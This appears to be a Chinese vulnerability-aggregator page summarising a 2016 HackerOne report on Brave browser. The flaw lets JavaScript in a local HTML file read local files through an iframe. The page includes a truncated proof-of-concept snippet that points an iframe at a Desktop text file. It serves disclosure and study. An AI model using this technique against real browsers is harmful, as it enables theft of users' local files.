POJIA破甲
地图 / Access to local file system using javascript

Access to local file system using javascript

路径遍历 / Unlabeled / #175979

厂商
Brave Software
严重程度
低危
赏金
—
弱点
Unlabeled
研究员
@karel_origin
披露日期
2016-11-16
资产
—
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1591 字符中的一小部分)
The browser can access the local files using iframes with a local html file. this is very normal and often used for local web development but javascript shouldn't be able to get the content of that iframe because this can be used to post the contents to the attackers server. something else I …
原文中的代码
<html>
<body>
<div id='div1'>
</div>
<script>
current_href = document.location.href
frame = document.createElement('iframe'); frame.src = current_href.replace('/Downloads/test.html', '/Desktop/Desktop.txt'); frame.id = 'frm'; document.getElementById('div1').appendChild(frame)
setTimeout(function …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Brave Software 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @karel_origin · 版权归作者与 Brave Software 所有

同类报告

Directory Traversal in uftpd 2.6-2.10██████ · —Local files reading from the web using `brave://`Brave Software · 2018-09-25Directory Traversal + HTTP Paramater Pollution leaking SQL/LDAP credentialsSoleo · —Local files reading using `link[rel="import"]`Brave Software · 2018-09-29Path traversal leading to limited CSRF on GET requests on two endpointsHackerOne · 2019-04-05Arbitrary file read from Cloudflare Pages build environmentCloudflare Public Bug Bounty · 2024-02-23